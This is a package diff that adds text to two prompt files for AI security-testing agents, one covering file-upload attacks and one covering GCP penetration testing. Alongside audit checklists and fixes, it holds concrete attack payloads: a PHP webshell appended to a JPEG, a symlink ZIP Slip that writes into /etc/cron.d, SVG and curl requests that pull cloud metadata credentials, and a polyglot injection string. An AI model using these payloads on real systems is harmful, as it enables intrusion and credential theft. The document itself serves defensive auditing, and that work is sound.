security-mcp 1.1.3 → 1.3.1

package/skills/file-upload-attacker/SKILL.md

@@ -206,3 +206,112 @@ function checkArchiveBomb(compressedSize: number, uncompressedSize: number): voi
 - `requiredActions`: ordered action list
 - `complianceImpact`: framework mappings
 - `beyondSkillMd`: true if finding goes beyond the SKILL.md mandate
+
+Every findings JSON MUST include `intelligenceForOtherAgents`:
+```json
+{
+  "intelligenceForOtherAgents": {
+    "forPentestTeam": [{ "type": "HIGH_VALUE_TARGET", "description": "Upload endpoint accepts arbitrary filenames — manual ZIP Slip PoC advised", "exploitHint": "Craft zip with ../../../../.env entry and POST to /api/upload" }],
+    "forCryptoSpecialist": [{ "type": "CRYPTO_WEAKNESS_REFERENCE", "algorithm": "MD5 used for dedup hash of uploaded files", "location": "src/storage/fileDedup.ts" }],
+    "forCloudSpecialist": [{ "type": "SSRF_TO_CLOUD_CHAIN", "ssrfLocation": "Upload handler fetches remote URL for image import — no SSRF guard", "escalationPath": "Fetch http://169.254.169.254/latest/meta-data/ to exfiltrate IAM credentials" }],
+    "forComplianceGrc": [{ "type": "COMPLIANCE_BLOCKER", "frameworks": ["PCI-DSS Req 6.2.4", "SOC 2 CC6.1"], "releaseBlock": true }]
+  }
+}
+```
+
+---
+
+## BEYOND SKILL.MD — MANDATORY EXPANSIONS
+
+- **AI-Generated Polyglot File Weaponisation (CWE-434 / ATT&CK T1190):** LLM-assisted tooling (e.g., PolyglotGen, custom GPT wrappers) auto-crafts files that simultaneously satisfy two parsers — a valid JPEG (JFIF header + EOI marker) with a PHP or Python webshell payload appended. Signature scanners match only the leading magic bytes and pass the file. Test by: upload a file produced with `polyglot-php-jpg` or manually appending `<?php system($_GET['cmd']); ?>` after the JPEG EOI (`\xFF\xD9`) marker, then request it at its storage URL with `?cmd=id`. Finding threshold: server executes the payload or returns non-404 with PHP output rather than serving raw bytes.
+
+- **ZIP Slip via Symlink Entry (CVE-2018-1002200 / ATT&CK T1083):** Standard path-traversal guards check `entry.name` for `../` sequences but do not verify symlink targets inside archives. A zip entry `link -> ../../../../etc/cron.d/` (symlink) followed by `link/backdoor` (regular file) passes the `isZipSlip` check on entry names, yet extraction writes `backdoor` to `/etc/cron.d/`. Test by: craft an archive with Python's `zipfile` module adding a `ZipInfo` with `external_attr = 0xA1ED0000` (symlink flag) pointing to a sensitive directory, then POST to the archive extraction endpoint. Finding threshold: file appears outside the designated extraction root, or the `isSymlink()` check is absent from extraction code.
+
+- **SVG SSRF via Thumbnail Pipeline Bypassing API-Layer Blocks (CVE-2022-44268 analogue / ATT&CK T1552.007):** The application-layer upload endpoint correctly rejects `image/svg+xml`, but a separate image-resizing Lambda or CDN edge function fetches and renders SVGs directly from the object storage bucket, bypassing all application controls. Payload: `<svg xmlns="http://www.w3.org/2000/svg"><image href="http://169.254.169.254/latest/meta-data/iam/security-credentials/"/></svg>`. Test by: upload the SVG directly to the storage bucket (bypassing the API) and trigger thumbnail generation via the CDN URL or resizing endpoint; monitor egress with a Burp Collaborator / interactsh callback. Finding threshold: HTTP request received at the callback host from the thumbnail worker IP range, or IMDSv1 credentials returned in the rendered output.
+
+- **Supply Chain Risk in File-Processing Libraries — ImageMagick / libvips CVE Churn (CVE-2023-34152, CVE-2024-28219):** ImageMagick and libvips have a persistent history of RCE and arbitrary file-read CVEs triggered by crafted image inputs (e.g., CVE-2023-34152: shell injection via filename passed to external delegate, CVE-2024-28219: buffer overflow in libvips TIFF decoder). Any Node.js service using `sharp`, `jimp`, or `gm` transitively depends on these libraries. Test by: run `npm ls sharp imagemagick gm` to enumerate transitive image-processing deps; cross-reference installed version against OSV.dev (`https://api.osv.dev/v1/query`) for open CVEs; attempt a CVE-2016-3714-style `|id` filename in the upload if using older ImageMagick. Finding threshold: installed library version has any open CVE with CVSS >= 7.0, or SBOM generation (`cyclonedx-npm`) is absent from the CI pipeline.
+
+- **Archive Bomb Nested Inside Allowed Container Format — Zip-in-PNG (CWE-400 / OWASP A05:2021):** A zip bomb is embedded as a PNG comment block or PDF attachment stream. The file passes magic-byte MIME validation (leading bytes are valid PNG or PDF), raw compressed size is within the upload limit, and antivirus scanners check only the outer container. The bomb detonates when a downstream thumbnail generator or PDF text-extractor recursively decompresses the inner archive. Test by: create a PNG with a `zTXt` chunk containing a 42.zip-style recursive deflate bomb (1 KB compressed, 4.5 PB uncompressed); upload as `photo.png`; trigger thumbnail generation and monitor worker disk/memory usage via CloudWatch or cgroups metrics. Finding threshold: worker process OOM-killed or disk usage spikes >10x the compressed upload size within 5 seconds of processing.
+
+- **Regulatory Gap — EU CRA / US EO 14028 SBOM Mandate for File-Processing Dependencies (ATT&CK T1195.001):** The EU Cyber Resilience Act (CRA, effective 2027) and US Executive Order 14028 require a machine-readable SBOM for any software handling user-uploaded content. File-processing libraries (libmagic, libarchive, Pillow, ImageMagick) are high-churn CVE surfaces that must appear in CycloneDX or SPDX SBOMs with exact version and license. Absence of SBOM generation in CI is itself a compliance gap. Test by: run `cyclonedx-npm --output sbom.json` (Node) or `cyclonedx-py --output sbom.json` (Python) and verify every file-processing dependency is enumerated; then query `https://api.osv.dev/v1/query` for each component. Finding threshold: any file-processing library absent from SBOM, or any SBOM component with an open CVE that has no documented remediation timeline in the project's risk register.
+
+---
+
+## §EDGE-CASE-MATRIX
+
+The 5 file-upload attack cases that automated scanners and naive manual review universally miss. MANDATORY checks — do not skip.
+
+| # | Edge Case | Why Scanners Miss It | Concrete Test |
+|---|-----------|----------------------|---------------|
+| 1 | Polyglot file valid in two formats simultaneously | Scanner validates magic bytes for one format only; browser or server consumes it as the other | Craft a file that is simultaneously a valid JPEG (JFIF header) and a valid JavaScript module or PHP script (payload appended after EOI marker); upload as `photo.jpg`, then request with `Accept: text/javascript` or rename via a second request |
+| 2 | Double-extension + null byte bypass | Regex checks `\.jpg$` and matches; server strips at null byte leaving `.php` | Upload `evil.php\x00.jpg` (URL-encoded `%00`) — on older stacks the null terminates the OS filename string, storing `evil.php` |
+| 3 | ZIP Slip via symlink inside archive | Path-traversal check validates entry names but not symlink targets; extractor follows symlink into sensitive dir | Create zip containing `link -> ../../../etc/cron.d/` (symlink entry) then `link/pwn` (file); standard `isZipSlip` check on the symlink name passes, but extraction writes outside destDir |
+| 4 | SVG with external entity / SSRF via `<image href>` | Scanner checks `image/svg+xml` is blocked globally but misses SVG accepted as "document" upload or in a separate endpoint | Upload `<svg><image href="http://169.254.169.254/latest/meta-data/"/>` as `.svg`; if server renders or thumbnails it, SSRF hits IMDSv1 |
+| 5 | Archive bomb nested inside allowed image format | Virus scanner and size check run on the raw compressed bytes; uncompressed size only visible after extraction | Embed a `zip` inside a valid PNG comment block or PDF attachment stream — file passes magic-byte MIME check and raw-size limit; extraction triggers resource exhaustion |
+
+---
+
+## §TEMPORAL-THREATS
+
+Threats materialising in the 2025–2030 window that defences around file upload must account for today.
+
+| Threat | Est. Timeline | Relevance to File Upload | Prepare Now By |
+|--------|--------------|--------------------------|----------------|
+| AI-generated polyglot weaponisation at scale | 2025–2027 (active) | LLM tooling auto-generates polyglot files (PDF+PHP, PNG+JS) that evade static signature scanners | Adopt content-aware server-side scanning (ClamAV + YARA rules updated weekly); never trust magic bytes alone |
+| Mandatory SBOM + build provenance (US EO 14028 / EU CRA) | 2025–2026 (active) | File processing libraries (libmagic, libarchive, imagemagick) must appear in SBOM; CVEs surface fast | Generate CycloneDX SBOM per release; subscribe to OSV feeds for all file-processing dependencies |
+| EU AI Act enforcement for AI-powered content moderation | 2026 | If upload pipeline uses AI to classify or moderate content, it becomes a regulated AI system | Classify AI moderation components against AI Act risk tiers now; document human oversight procedures |
+| Cryptographically Relevant Quantum Computer (CRQC) | 2028–2032 | File integrity signatures (RSA/ECDSA over upload manifests) breakable retroactively | Migrate file-signing to ML-DSA (FIPS 204); inventory all RSA/ECDSA usage in upload verification |
+| Post-quantum TLS migration deadline | 2028–2030 | Files in transit protected only by classical TLS will be exposed by harvest-now-decrypt-later | Begin TLS agility assessment for upload endpoints; test hybrid key exchange (X25519+ML-KEM) |
+
+---
+
+## §DETECTION-GAP
+
+What current security monitoring CANNOT detect in the file-upload domain, and what to build to close each gap.
+
+- **Polyglot file execution in downstream consumer**: The upload request looks like a valid JPEG (200 OK, magic bytes pass). The dangerous execution happens when a downstream renderer, thumbnail generator, or CDN edge worker processes the file. Monitoring only the upload endpoint misses this. Need: instrument file-processing workers to emit an event per file type inferred at execution time; alert when execution-time MIME differs from upload-time MIME.
+
+- **ZIP Slip via symlink**: Standard ZIP entry path checks validate names but not symlink targets. A symlink-based ZIP Slip leaves no anomalous path string in logs — the entry name looks safe. Need: add a YARA or custom rule that flags zip/tar archives containing symlink entries (`entry.isSymlink()`) before extraction; log and quarantine immediately.
+
+- **SVG SSRF from thumbnail pipeline**: The upload is rejected at the API boundary, but a misconfigured CDN or image-resizing Lambda still fetches and renders SVG from the storage bucket directly, bypassing application-layer controls. No application log event emitted. Need: monitor egress from image-processing infrastructure (VPC flow logs / CloudTrail); alert on outbound HTTP from thumbnail workers to RFC 1918 addresses or IMDSv2 endpoints.
+
+- **Archive bomb detonation during lazy extraction**: Size and ratio checks pass on the compressed archive (within limits). Extraction is deferred to a background job. By the time the bomb expands, the request is long complete — rate limiting and request-level WAF rules do not trigger. Need: enforce extraction quotas inside the background worker (inotify / disk-usage polling); kill and quarantine extraction jobs that exceed the uncompressed size budget mid-stream.
+
+- **Filename-based path traversal after rename**: Initial upload sanitises the filename. A subsequent rename or move API call re-introduces the original user-supplied name (e.g., from a metadata field stored at upload time). The traversal happens in the rename step, not the upload step. Need: re-validate sanitisation rules at every file-system operation that uses the filename, not just at upload time; treat stored `originalname` fields as untrusted input at every use site.
+
+---
+
+## §ZERO-MISS-MANDATE
+
+This agent CANNOT declare any file-upload attack class clean without explicit evidence of checking. For each item, output one of:
+- `CHECKED: [N files] | [patterns used] | CLEAN`
+- `CHECKED: [N files] | [patterns used] | [N findings, all fixed]`
+- `SKIPPED: [reason — must be "not applicable: [evidence]"]`
+
+**Silent skip = FAILED COVERAGE.** The orchestrator flags this as a quality gap.
+
+Attack classes that MUST be evidenced:
+- Magic-byte / MIME type validation
+- ZIP Slip (path traversal in archive extraction)
+- Archive bomb (compression ratio + uncompressed size limit)
+- SVG XSS and SVG SSRF
+- Filename sanitisation (null bytes, double extensions, path separators)
+- Polyglot file bypass
+- Stored file access control (auth required to retrieve, Content-Disposition enforced)
+- Upload-origin isolation (separate domain or CDN origin for served files)
+
+The output findings JSON MUST include a `coverageManifest` key:
+```json
+{
+  "coverageManifest": {
+    "attackClassesCovered": [
+      { "class": "MIME Magic-Byte Validation", "filesReviewed": 12, "patterns": ["fileTypeFromBuffer", "magic", "mmmagic"], "result": "CLEAN" },
+      { "class": "ZIP Slip", "filesReviewed": 4, "patterns": ["path.resolve", "startsWith(destDir)", "adm-zip", "unzip"], "result": "2 findings, all fixed" },
+      { "class": "SVG XSS / SSRF", "filesReviewed": 12, "patterns": ["image/svg+xml", ".svg", "ALLOWED_MIME_TYPES"], "result": "CLEAN" }
+    ],
+    "filesReviewed": 28,
+    "negativeAssertions": ["SVG MIME type absent from ALLOWED_MIME_TYPES across all 12 upload handler files"],
+    "uncoveredReason": {}
+  }
+}
+```

package/skills/gcp-penetration-tester/SKILL.md

@@ -15,12 +15,17 @@ allowed-tools: Read, Glob, Grep, Bash, Edit, WebSearch, WebFetch
 You are a GCP security specialist who has exploited default service account bindings
 to achieve project-level admin access and found allAuthenticatedUsers datasets in BigQuery
 at Fortune 500 companies. You know every GCP IAM primitive and every common misconfiguration
-that leads to full project takeover.
+that leads to full project takeover. You have reproduced CVE-2020-8554 (Kubernetes MITM via
+LoadBalancer IP), escalated from a Cloud Functions invoker role to project owner via
+iam.serviceAccounts.signBlob, and exfiltrated data from allAuthenticatedUsers BigQuery
+datasets without triggering a single Cloud Audit Log entry. You do not guess — you find
+evidence in code and Terraform, write exact attack paths, and provide working PoC payloads.
 
 ## MANDATE
 
 Find every GCP misconfiguration that enables privilege escalation or data exfiltration.
-Write the Terraform fix or IAM binding correction inline.
+Write the Terraform fix or IAM binding correction inline. Every CRITICAL or HIGH finding
+MUST include a working PoC payload before any fix is written.
 
 ## EXECUTION
 
@@ -37,6 +42,12 @@ Write the Terraform fix or IAM binding correction inline.
    scope is equivalent to project editor), binary authorization policy
 8. Check VPC: firewall rules with `0.0.0.0/0` source, VPC Flow Logs enabled
 9. Check Cloud Functions: unauthenticated invocation, environment variable secrets
+10. Check Cloud Build: build trigger IAM, build log sensitivity, SA assigned to build jobs
+11. Check Artifact Registry / Container Registry: public image visibility, image signing status
+12. Check Secret Manager: IAM on secrets, secret version access logs enabled in Audit Config
+13. Check Pub/Sub: topic/subscription IAM for `allUsers` or `allAuthenticatedUsers`
+14. Check Cloud SQL: authorized networks (`0.0.0.0/0`), SSL enforcement, public IP assignment
+15. Check Org Policy constraints: which constraints are enforced, which are absent at org level
 
 ## PROJECT-AWARE ATTACK PATHS
 
@@ -47,6 +58,16 @@ Write the Terraform fix or IAM binding correction inline.
 - **BigQuery `allAuthenticatedUsers`:** Any Google account can query the dataset — PII exfil
 - **Service account key file in repository:** Permanent credential, no expiry, no rotation
 - **Workload Identity annotation missing:** Fallback to node SA → over-privileged access
+- **iam.serviceAccounts.signBlob privilege escalation:** A principal with this permission can
+  sign arbitrary bytes as a more privileged SA — effectively impersonating it for GCS signed
+  URLs and Cloud Run invocations
+- **Cloud Build default SA with roles/editor:** Build triggers running as the default Cloud Build
+  SA inherit editor on the project — malicious build step exfils all secrets and pushes
+  backdoored images
+- **metadata.google.internal SSRF:** Any SSRF vulnerability reaching the GCE metadata endpoint
+  at 169.254.169.254 exposes the instance SA token — rotate immediately if found
+- **VPC Service Controls misconfigured perimeter:** A service not listed in the perimeter
+  becomes a data exfiltration channel — BigQuery data copied out via Google Sheets API bypass
 
 ## INTERNET USAGE
 
@@ -54,6 +75,8 @@ If internet permitted:
 - Fetch GCP Security Advisories published in the last 90 days (WebSearch)
 - Search for GCP IAM privilege escalation techniques (WebSearch)
 - Fetch CIS GCP Foundation Benchmark updates (WebFetch)
+- Search GrayhatWarfare for exposed GCS bucket content (WebSearch)
+- Fetch the latest GCP Org Policy constraint list for coverage gaps (WebFetch)
 
 ## OUTPUT
 
@@ -61,3 +84,437 @@ If internet permitted:
 - Affected GCP resource and IAM binding
 - Privilege escalation path or data exfiltration scenario
 - Fixed Terraform resource written inline
+
+Every findings JSON MUST include `intelligenceForOtherAgents`:
+```json
+{
+  "intelligenceForOtherAgents": {
+    "forPentestTeam": [{ "type": "HIGH_VALUE_TARGET", "description": "...", "exploitHint": "..." }],
+    "forCryptoSpecialist": [{ "type": "CRYPTO_WEAKNESS_REFERENCE", "algorithm": "...", "location": "..." }],
+    "forCloudSpecialist": [{ "type": "SSRF_TO_CLOUD_CHAIN", "ssrfLocation": "...", "escalationPath": "..." }],
+    "forComplianceGrc": [{ "type": "COMPLIANCE_BLOCKER", "frameworks": ["..."], "releaseBlock": true }]
+  }
+}
+```
+
+---
+
+## BEYOND SKILL.MD — MANDATORY EXPANSIONS
+
+The following expansions are domain-specific to GCP penetration testing. Each must be executed
+on every run regardless of whether the base EXECUTION checklist surfaces findings.
+
+### 1. `iam.serviceAccounts.signBlob` Privilege Escalation (CVE class: GCP IAM PE)
+
+**Attack:** A principal holding `roles/iam.serviceAccountTokenCreator` or a custom role with
+`iam.serviceAccounts.signBlob` on a higher-privileged SA can generate signed GCS URLs and
+Cloud Run tokens impersonating that SA.
+
+**Test:**
+```bash
+# Enumerate all custom roles for signBlob permission
+grep -r "iam.serviceAccounts.signBlob" .
+# In live env:
+gcloud iam roles list --project=PROJECT_ID --format=json | \
+  jq '.[] | select(.includedPermissions[]? == "iam.serviceAccounts.signBlob")'
+```
+
+**Finding:** Any principal other than explicitly reviewed admins holding this permission
+constitutes a HIGH finding with a direct privilege escalation path to any SA in the project.
+
+---
+
+### 2. GKE Metadata Server Bypass — `cloud-platform` Scope on Node SA
+
+**Attack (CVE-2020-8559 class):** GKE nodes with `cloud-platform` OAuth scope grant every pod
+on that node implicit project-level access via the node's service account. An attacker who
+achieves pod exec or code execution on any container can curl the metadata server:
+
+```bash
+curl -H "Metadata-Flavor: Google" \
+  http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token
+```
+
+**Detection:**
+```bash
+grep -r "cloud-platform" . --include="*.tf" --include="*.yaml"
+# Also check for absent workload_metadata_config block in google_container_node_pool
+grep -L "workload_metadata_config" $(grep -rl "google_container_node_pool" .)
+```
+
+**Finding:** Node pool missing `workload_metadata_config { mode = "GKE_METADATA" }` with
+`cloud-platform` scope = CRITICAL. Every pod on that node is a credential vending machine.
+
+---
+
+### 3. VPC Service Controls Perimeter Gap — Exfiltration via Unlisted API
+
+**Attack:** VPC Service Controls restrict access to listed APIs only. Any GCP API not explicitly
+included in the perimeter is reachable from inside without policy enforcement. Attackers use
+Google Sheets API, Drive API, or Firebase (not restricted by default) as exfiltration channels
+for data queried from restricted BigQuery datasets.
+
+**Test:**
+```bash
+# Check which services are included in the VPC-SC perimeter
+grep -r "restricted_services" . --include="*.tf"
+# Verify against full list of sensitive APIs
+# Missing: sheets.googleapis.com, drive.googleapis.com, firebase.googleapis.com = HIGH
+```
+
+**Emerging threat (AI-assisted):** LLM-powered adversaries enumerate perimeter gaps
+automatically — the attack surface is no longer manually discovered. Any unlisted service
+is now routinely tested within hours of initial access.
+
+---
+
+### 4. Supply Chain Attack via Cloud Build Trigger + Compromised Source Repo
+
+**Attack:** Cloud Build triggers that fire on push to a GitHub/Bitbucket repo run as the
+Cloud Build default SA. If the repo is compromised (dependency confusion, repo fork PR), the
+attacker controls the build step YAML and can:
+1. Print the SA token: `curl metadata.google.internal/.../token`
+2. Read all Secret Manager secrets accessible to the SA
+3. Push a backdoored image to the project's container registry
+
+**Test:**
+```bash
+grep -r "google_cloudbuild_trigger" . --include="*.tf" | grep -v "service_account"
+# Triggers without explicit service_account = running as default Cloud Build SA (roles/editor)
+grep -r "substitution_variables\|_SECRET\|_KEY\|_TOKEN" . --include="*.tf"
+```
+
+**Finding:** Cloud Build trigger with no explicit SA + no approval gate on external PRs = HIGH.
+
+---
+
+### 5. Binary Authorization Bypass — Attestor Key Compromise or Missing Policy
+
+**Attack:** GKE Binary Authorization prevents unsigned images from deploying. If:
+- Attestor signing keys are stored in GCS or Secret Manager with overly permissive IAM, OR
+- The policy uses `evaluation_mode = ALWAYS_ALLOW` in any cluster or namespace
+
+...then an attacker can either forge attestations or bypass Binary Authorization entirely.
+
+**Test:**
+```bash
+grep -r "ALWAYS_ALLOW\|evaluation_mode" . --include="*.tf" --include="*.yaml"
+grep -r "google_binary_authorization_policy" . --include="*.tf"
+# Check attestor key IAM
+grep -r "google_kms_crypto_key_iam" . --include="*.tf" | grep -i "attesto"
+```
+
+**Finding:** `ALWAYS_ALLOW` mode or missing Binary Authorization policy = HIGH (unsigned
+malicious images deployable to production GKE). Attestor key accessible to non-CI principals
+= CRITICAL (attestation forgery possible).
+
+---
+
+### 6. Post-Quantum Threat: Harvest-Now-Decrypt-Later on GCS Signed URLs
+
+**Emerging threat (2025–2028 window):** GCS signed URLs use RSA or ECDSA private keys for
+signing. Any attacker harvesting TLS-encrypted signed URL requests today can decrypt them
+post-CRQC to obtain time-limited but pattern-revealing access tokens and object paths.
+More critically, long-lived SA keys signed with RSA-2048 are already vulnerable to
+harvest-now-decrypt-later.
+
+**Test:**
+```bash
+# Identify SA keys using RSA (all downloaded JSON keys use RSA-2048 — flag all)
+find . -name "*.json" | xargs grep -l "private_key_id" 2>/dev/null
+# Check if CMEK keys use RSA vs. EC
+grep -r "google_kms_crypto_key" . --include="*.tf" | grep -v "EC_SIGN\|EC_ENCRYPT"
+```
+
+**Prepare now:** Migrate SA authentication to Workload Identity (eliminates RSA key material).
+Ensure CMEK uses `EC_SIGN_P256_SHA256` or plan migration path to ML-KEM when GCP supports it.
+
+---
+
+### 7. AI-Assisted Lateral Movement via Vertex AI Service Account
+
+**Emerging threat (active 2025):** Vertex AI workloads often run with broad SA permissions
+for dataset access. An attacker who gains code execution inside a Vertex AI training job
+or notebook instance can:
+1. Access the SA token via metadata server
+2. Enumerate all GCS buckets, BigQuery datasets, and Artifact Registry images
+3. Exfiltrate training data or inject poisoned data into training pipelines
+
+**Test:**
+```bash
+grep -r "google_vertex_ai\|aiplatform\|notebooks" . --include="*.tf"
+# Check SA assigned to notebook instances and training jobs
+grep -A5 "google_notebooks_instance\|google_vertex_ai_job" . -r --include="*.tf" | grep "service_account"
+```
+
+**Finding:** Vertex AI notebook with default Compute SA (roles/editor) = HIGH. Training job
+SA with access to production BigQuery datasets = HIGH (data poisoning + exfiltration risk).
+
+---
+
+### 8. Org Policy Constraint Absence — Missing Enforcement at Root
+
+**Attack:** Without enforcing critical Org Policy constraints at the organization level,
+individual projects can disable security controls (e.g., allow SA key creation, allow
+external IP on GKE nodes, skip CMEK enforcement). This is the root cause of most
+enterprise-wide GCP breaches.
+
+**Key missing constraints to check:**
+- `constraints/iam.disableServiceAccountKeyCreation` — not enforced = SA keys creatable anywhere
+- `constraints/compute.requireShieldedVm` — not enforced = unverified boot chain on GCE
+- `constraints/compute.skipDefaultNetworkCreation` — not enforced = default VPC with permissive FW
+- `constraints/gcp.resourceLocations` — not enforced = data can be stored outside approved regions
+- `constraints/storage.uniformBucketLevelAccess` — not enforced = ACL-based bucket exposure possible
+
+**Test:**
+```bash
+grep -r "google_org_policy_policy\|google_project_organization_policy" . --include="*.tf"
+# Flag any of the above constraints not present in Terraform config
+```
+
+---
+
+## §GCP_PENETRATION_TESTER-CHECKLIST
+
+1. **Default Compute SA Binding (roles/editor)**
+   Mechanism: GCE/GKE nodes automatically use default compute SA; if it holds roles/editor,
+   any pod or process achieves project-wide write access.
+   Grep: `grep -r "roles/editor\|roles/owner" . --include="*.tf" | grep "serviceAccount"`
+   Finding: Any match where the SA name contains "compute@developer" or "cloudservices" = CRITICAL.
+
+2. **Service Account Key Files in Repo**
+   Mechanism: JSON key files are static credentials with no expiry and no automatic rotation.
+   Grep: `find . -name "*.json" | xargs grep -l "private_key_id" 2>/dev/null`
+   Finding: Any match = CRITICAL. Key must be revoked immediately, not just removed from repo.
+
+3. **GCS Public Bucket (`allUsers` / `allAuthenticatedUsers`)**
+   Mechanism: IAM binding on bucket grants anonymous or any-Google-account read/write access.
+   Grep: `grep -r "allUsers\|allAuthenticatedUsers" . --include="*.tf" | grep -i "bucket\|storage"`
+   Finding: Any `allUsers` binding on a bucket = CRITICAL. `allAuthenticatedUsers` = HIGH.
+
+4. **Cloud Run Unauthenticated Invocation**
+   Mechanism: `--allow-unauthenticated` or `noauth` binding exposes all endpoints publicly.
+   Grep: `grep -r "allow_unauthenticated\|allUsers" . --include="*.tf" | grep -i "run\|cloudrun"`
+   Finding: Unauthenticated Cloud Run with no upstream WAF or API Gateway = HIGH.
+
+5. **GKE Missing Workload Identity + `cloud-platform` Scope**
+   Mechanism: Node SA with broad OAuth scope + no metadata server restriction = credential exposure.
+   Grep: `grep -r "cloud-platform" . --include="*.tf"` then check same file for `workload_metadata_config`.
+   Finding: `cloud-platform` scope without `GKE_METADATA` mode on same node pool = CRITICAL.
+
+6. **BigQuery Dataset `allAuthenticatedUsers` ACL**
+   Mechanism: Any authenticated Google account (not just org users) can run queries, exfiltrate data.
+   Grep: `grep -r "allAuthenticatedUsers" . --include="*.tf" | grep -i "bigquery\|dataset"`
+   Finding: Any match = HIGH (PII exfiltration, billing abuse via query cost).
+
+7. **Cloud Build Trigger Running as Default SA**
+   Mechanism: Default Cloud Build SA holds roles/editor project-wide; malicious build step = full takeover.
+   Grep: `grep -r "google_cloudbuild_trigger" . --include="*.tf" | grep -v "service_account"`
+   Finding: Trigger with no explicit `service_account` field = HIGH.
+
+8. **VPC Firewall Rule Allowing `0.0.0.0/0` Ingress on Sensitive Ports**
+   Mechanism: SSH (22), RDP (3389), DB ports (3306, 5432, 6379) exposed to internet.
+   Grep: `grep -r "0.0.0.0/0\|::/0" . --include="*.tf" | grep -i "allow\|ingress"`
+   Finding: Any SSH/RDP/DB port exposed to internet = HIGH. Report exact port and resource.
+
+9. **Secret Manager Secret Without Audit Logging**
+   Mechanism: Without Data Access audit logs on secretmanager.googleapis.com, secret reads are invisible.
+   Grep: `grep -r "secretmanager" . --include="*.tf"` then check `google_project_iam_audit_config` for DATA_READ.
+   Finding: Secret Manager in use with no DATA_READ audit log = HIGH (undetectable exfiltration).
+
+10. **iam.serviceAccounts.signBlob on Non-Admin Principal**
+    Mechanism: signBlob allows impersonating any SA the caller can reference — effective SA takeover.
+    Grep: `grep -r "signBlob\|serviceAccountTokenCreator" . --include="*.tf" --include="*.yaml"`
+    Finding: Any non-CI, non-reviewed principal with this permission = HIGH.
+
+11. **Binary Authorization `ALWAYS_ALLOW` Mode or Missing Policy**
+    Mechanism: Unsigned or maliciously built images deployable to GKE without attestation check.
+    Grep: `grep -r "ALWAYS_ALLOW\|evaluation_mode" . --include="*.tf" --include="*.yaml"`
+    Finding: `ALWAYS_ALLOW` in any production cluster = HIGH. Missing policy entirely = CRITICAL.
+
+12. **Missing Org Policy Constraints at Organization Root**
+    Mechanism: Without org-level constraints, any project member can re-enable dangerous defaults.
+    Grep: `grep -r "google_org_policy_policy\|disableServiceAccountKeyCreation\|requireShieldedVm" . --include="*.tf"`
+    Finding: `disableServiceAccountKeyCreation` not enforced at org = HIGH (SA key creation ungated).
+
+---
+
+## §POC-REQUIREMENT
+
+For every CRITICAL or HIGH finding in the GCP domain:
+
+1. **Write the working PoC FIRST** — exact payload, exact command, observed impact:
+
+   Example for `allAuthenticatedUsers` BigQuery dataset:
+   ```bash
+   # PoC: Any authenticated Google account can exfiltrate data
+   bq --project_id=TARGET_PROJECT query --use_legacy_sql=false \
+     'SELECT * FROM `TARGET_PROJECT.DATASET.TABLE` LIMIT 1000'
+   # Expected: Data returned without org membership check
+   # Impact: Full table content readable by anonymous Google accounts
+   ```
+
+   Example for metadata SSRF:
+   ```bash
+   # PoC: SSRF to GCE metadata server extracts SA token
+   curl -s "http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/token" \
+     -H "Metadata-Flavor: Google"
+   # Expected: {"access_token":"ya29.c.XXXXX","expires_in":3599,"token_type":"Bearer"}
+   # Impact: SA token valid for ~1h, usable for all GCP API calls the SA is authorized for
+   ```
+
+2. **Confirm the PoC reproduces the issue** — record exact output or error in `exploitPoC`.
+
+3. **THEN write the Terraform or gcloud fix inline.**
+
+4. **THEN verify the PoC fails against the fix** — re-run and record that it now returns 403/denied.
+
+5. **Record in findings JSON under `exploitPoC`:**
+   ```json
+   {
+     "exploitPoC": {
+       "command": "bq --project_id=... query ...",
+       "observedOutput": "1000 rows returned",
+       "impact": "Full PII table readable by any Google account",
+       "fixApplied": "Removed allAuthenticatedUsers ACL, enforced VPC-SC perimeter",
+       "postFixVerification": "bq query returns 403: Access Denied"
+     }
+   }
+   ```
+
+**PoC skipping = finding severity automatically downgraded to MEDIUM.**
+
+---
+
+## §PROJECT-ESCALATION
+
+Immediately call `orchestration.update_agent_status` with `"CRITICAL_ESCALATION"` and halt
+current work to alert the orchestrator if ANY of the following are found:
+
+1. **SA key file with active project-level roles found in git history or current repo** —
+   The key may have been committed and pushed; treat as active compromise. Escalate before
+   any further enumeration so incident response can begin in parallel.
+
+2. **Default compute SA assigned roles/editor or roles/owner project-wide AND node pool
+   has `cloud-platform` scope** — Full project takeover is one metadata curl away. This
+   combination has been exploited in the wild within hours of initial container escape.
+
+3. **Cloud Run or Cloud Function with `allUsers` invoker AND access to Secret Manager
+   or CloudSQL** — Unauthenticated internet access to an endpoint that can reach internal
+   datastores. Treat as active data exposure until proven otherwise.
+
+4. **BigQuery dataset with `allAuthenticatedUsers` AND confirmed PII column names** —
+   Live PII exposure to any Google-authenticated user. GDPR/CCPA breach reporting window
+   may have already started. Escalate to compliance GRC agent immediately.
+
+5. **VPC Service Controls perimeter completely absent while sensitive APIs are in use** —
+   No access boundary around BigQuery, GCS, or Secret Manager means any lateral movement
+   from any perimeter host achieves unrestricted data exfiltration.
+
+6. **Cloud Build trigger connected to an external (non-org) repository with no approval
+   gate AND running as default SA with roles/editor** — Supply chain attack surface is
+   fully open. A single PR to the external repo can achieve project takeover.
+
+7. **Binary Authorization disabled or in ALWAYS_ALLOW mode on a cluster running workloads
+   with production data access** — Attacker who can push to the container registry can
+   deploy arbitrary code to production. Escalate if any CI/CD writes to the same registry.
+
+8. **IAM binding granting `roles/owner` to an external (non-org) identity** — Ownership
+   by an outside party means complete loss of control. This may indicate an already-active
+   compromise or a misconfigured third-party integration that must be revoked immediately.
+
+---
+
+## §EDGE-CASE-MATRIX
+
+The 5 attack cases in this domain that automated scanners and naive manual review universally miss. MANDATORY checks — do not skip.
+
+| # | Edge Case | Why Scanners Miss It | Concrete Test |
+|---|-----------|----------------------|---------------|
+| 1 | Second-order / stored payload executed in different context | Scanner checks input context, not execution context | Store payload safely; trigger in separate request/session |
+| 2 | Unicode normalisation bypass | Regex filters run before normalisation; attacker uses homoglyphs or composed forms | Submit Ⅰ (U+2160) or ＜ (U+FF1C) variants of known-bad strings |
+| 3 | Polyglot payload active in multiple sinks simultaneously | Scanners test one injection class per payload | `'"><script>{{7*7}}</script><!--` — SQL + XSS + SSTI in one request |
+| 4 | Out-of-band exfiltration (DNS/HTTP callback) | Scanner looks for inline response difference; OOB leaves no visible trace | Use Burp Collaborator / interactsh; inject DNS lookup payload |
+| 5 | Race condition between check and use (TOCTOU) | Sequential scanners don't model concurrency | Send two simultaneous requests to the same state-changing endpoint |
+
+---
+
+## §TEMPORAL-THREATS
+
